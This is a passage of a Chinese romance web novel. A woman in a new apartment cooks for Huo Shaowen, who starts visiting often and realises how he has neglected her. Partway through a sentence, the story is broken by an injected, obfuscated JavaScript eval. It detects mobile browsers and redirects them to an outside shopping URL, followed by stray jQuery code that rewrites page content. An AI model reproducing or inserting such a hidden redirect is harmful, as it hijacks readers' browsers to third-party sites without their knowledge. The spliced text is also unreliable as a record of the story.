装修简洁现代，所有家电都是最新款，冰箱里甚至已经塞满了食材。
苏林婵站在窗前，看着脚下川流不息的车流，忽然觉得讽刺。
她像一只被不断转移的鸟笼里的金丝雀，从一个笼子换到另一个笼子，却从未真正飞出去过。
手机震动。
霍渡山的消息：【地址发我。我会派人盯着，注意安全。】
她盯着屏幕上的字，嘴角弯起一个苦涩的弧度。
他永远只关心情报和信息。
她把地址发过去，然后关掉手机，开始整理行李。
傍晚五点，门锁响了。
苏林婵从厨房探出头，看到霍绍闻站在玄关，手里拎着一袋水果。
她愣了一下。
“这么早就下班了吗”
霍绍闻换鞋的动作顿了顿，抬眼看她。
“来看看你安顿得怎么样。”
他说得随意，像是在陈述一件理所当然的事。
苏林婵没有追问，只是点点头，接过他手里的袋子。
“正好，我在做饭，一起吃吧。”
霍绍闻跟到厨房门口，倚在门框上，看她系上围裙，从冰箱里拿出食材。
她的动作很熟练，切菜、调味、下锅，每一个步骤都行云流水。
他突然想起这三年来，她给他做过无数次的早餐，煮过无数次的醒酒汤，却从未和他一起好好吃过一顿晚饭。
他每次回家都是有目的的。
拿文件、换衣服、或者只是发泄完倒头就睡。
他从没坐下来认真吃过她做的饭，从没问过她喜欢吃什么。
他只把她当成一个工具。
一个随叫随到，永远懂事，不需要被关心的工具。
四十分钟后，两菜一汤端上桌。
清炒时蔬，糖醋排骨，番茄蛋汤，都是简单的家常菜。
霍绍闻坐下，夹了一筷子排骨。
味道出乎意料的好。
他看着她，她正低着头安静地吃饭，睫毛很长，像扑闪的蝴蝶。
“以前怎么没发现你这么会做饭？”
苏林婵抬起眼，笑了笑。
“以前你也从没坐下来吃过。”
霍绍闻的动作顿了顿。
“以后会常来的。”
他听到自己说。
苏林婵看了他一眼，没有接话，只是轻轻“嗯”了一声。
那顿饭吃了很久。
霍绍闻吃完又在客厅坐了一会，离开时已经快十点。
他站在门口，忽然回过头，看着她。
“有事给我打电话。”
苏林婵靠在门框上，嘴角带着浅浅的笑。
“好。”
门关上后，她靠着门板站了很久。
然后她走进浴室，打开水龙头，让哗哗的水声淹没一切。
镜子里的自己，脸上还挂着那个笑。
她抬起手，一点一点将它抹去。
接下来几天，霍绍闻来得越来越频繁。
有时是晚饭时间，拎着食材过来，说是顺路。
有时是深夜，西装都没换，说是加班路过。
有时是周末下午，什么都不说，只是在沙发上坐着，看文件，或者发呆。
苏林婵从不问为什么，她只是给他开门，给他做饭，给他泡茶，然后安静地做自己的事。
他们之间形成了一种奇怪的默契。
他在沙发上看文件，她就在旁边看书。
他加班到深夜，她就煮一碗面端过去。
他在落地窗前发呆，她就默默给他添一杯热茶。
不说话，也不尴尬。
第五天晚上，霍绍闻靠在沙发上，看着厨房里忙碌的背影。
他突然意识到一件事。
三年来，她一直在给他做饭。
早餐，醒酒汤，深夜的宵夜，甚至偶尔送到公司的午餐便当。
她做了无数次，他却从没好好看过。
他从来不知道她做饭时的样子。
不知道她会把头发挽起来，不知道她会哼着听不清调子的歌，不知道她会在等水开的时候望着窗外发呆。
他只知道吃。
只知道理所当然地接受。
却从未真正看见她。
“看什么？”
苏林婵端着菜走出来，对上他的视线。
霍绍闻收回目光，没有回答。
苏林婵也没追问，只是把菜放到桌上，转身又回了厨房。
他看着她的背影，忽然开口。
“苏林婵。”
她停住，回过头。
霍绍闻看着她，目光复杂。
“这三年，你每天给我做早餐，都是几点起的？”
苏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279991|198348||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
林婵愣了一下。
“六点。”
她说：“你八点出门，早餐要七点半之前准备好，不能太烫，也不能凉。”
霍绍闻沉默了片刻。
六点。
她每天六点起床，就为了给他做一顿早餐。
而他每次接过早餐时，连看都没看过她一眼。
“以后不用起那么早。”
他说。
苏林婵看着他，嘴角弯起一个浅浅的弧度。
“现在也没机会起了。”
她说：“你又不过来吃早餐。”
霍绍闻被噎了一下。
她说得没错。
他每天来这里都是晚上，从没留下来过夜，也从没吃过她做的早餐。
“那……”
他顿了顿。
“那明天早上我过来。”
苏林婵怔住了。
她看着他，那双眼睛里第一次出现了来不及掩饰的惊讶。
“你认真的？”
霍绍闻迎上她的视线。
“认真的。”
空气突然安静下来。
窗外的城市灯火璀璨，映在她眼里，像碎落的星辰。
良久，苏林婵轻轻笑了。
“好。”
她说：“那我明天多做一份。”
那天晚上，霍绍闻待到很晚。
苏林婵给他煮了咖啡，他就在沙发上看文件，她就在旁边看书。
时钟指向十二点，他还没有要走的意思。
苏林婵合上书，看向他。
“霍总，很晚了。明天不是要过来吃早餐吗？”
霍绍闻抬起头，目光在她脸上停留了片刻。
“你在赶我走？”
苏林婵笑了。
“我只是提醒你，早点回去休息，明天才有胃口吃我做的早餐。”
霍绍闻靠进沙发里，看着她。
“你明天做什么早餐？”
苏林婵想了想。
“皮蛋瘦肉粥，煎蛋，再烤两片吐司。够不够？”
霍绍闻点点头。
“够了。”
他站起身，拿起外套，朝门口走去。
门关上了。
苏林婵站在原地，看着那扇紧闭的门。
她走到窗边，看着楼下那辆黑色的车缓缓驶出小区，消失在夜色中。
几天后，霍绍闻带苏林婵去参加一个私人聚会。